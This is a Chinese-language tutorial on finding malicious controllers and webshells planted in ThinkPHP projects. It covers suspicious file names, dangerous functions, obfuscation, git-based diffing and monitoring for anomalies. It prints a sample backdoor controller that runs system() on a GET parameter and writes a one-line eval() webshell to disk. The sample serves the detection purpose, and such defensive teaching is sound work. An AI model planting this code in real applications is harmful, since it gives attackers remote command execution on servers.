排查thinkphp项目是否被写入恶意控制器,最直接的方法是检查应用目录下的 app/controller 文件夹,寻找文件名或类名与业务逻辑无关的异常文件。这些恶意文件通常包含后门代码、webshell或加密执行语句,且往往伪装成正常的控制器命名。通过对比版本库中的干净状态或使用静态扫描工具,可以快速定位并清除这些风险。

如何识别常见的恶意控制器特征
恶意控制器通常隐藏在 app/controller 目录下,其文件名可能看似正常但内容可疑,或者直接使用随机字符串命名。它们往往继承自 think\Controller 或 think\BaseController,并在构造函数或公共方法中执行危险操作,如 eval()、system() 或 file_put_contents()。此外,恶意代码常使用混淆技术,如 base64 编码或异或运算来隐藏真实意图。

namespace app\controller;
use think\Controller;
class Rce extends Controller {
public function index() {
// 典型的恶意行为:执行系统命令
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
// 或者写入文件
file_put_contents('backdoor.php', '<?php eval($_POST["c"]); ?>');
}
}
上述代码展示了一个名为 Rce 的恶意控制器,它继承了 think\Controller。当访问该控制器的 index 方法时,如果 URL 中包含 cmd 参数,它将直接执行系统命令。这种模式是 Webshell 的常见变体,旨在绕过简单的关键词过滤。
立即学习“PHP免费学习笔记(深入)”;
如何利用版本控制快速定位入侵痕迹
如果项目使用了 Git 等版本控制系统,可以通过比较当前文件与最新提交版本的差异来发现异常。使用 git status 可以列出所有新增、修改或删除的文件,重点关注 app/controller 目录下的变动。对于新增的未知文件,应立即审查其内容;对于修改过的文件,需确认变更是否符合预期。这种方法能高效地缩小排查范围,避免手动检查每个文件的繁琐工作。

# 在终端中执行以下命令 $ git status # 查看特定文件的详细差异 $ git diff app/controller/Suspicious.php # 如果文件是新添加的,查看其完整内容 $ cat app/controller/NewFile.php
通过运行 git status,开发者可以立即看到哪些文件被修改或新增。例如,如果发现一个名为 AdminBackdoor.php 的新文件,而团队中没有相关开发记录,这极有可能是恶意植入的后门。接着,使用 git diff 或 cat 命令深入分析文件内容,确认其中是否包含危险函数调用或非预期的逻辑分支。
基于程序中某个输入、条件或结果的具体问题
当恶意控制器被触发时,程序可能会表现出异常行为,如服务器负载突然升高、产生未知的 HTTP 请求或生成意外的文件。例如,如果攻击者通过 URL 参数触发了 Rce 控制器中的 system() 函数,服务器日志中会出现大量的外部命令执行记录。此外,恶意代码可能会尝试连接外部 C&C 服务器,导致网络流量中出现异常的出站连接。监控这些指标有助于及时发现并阻断攻击。



















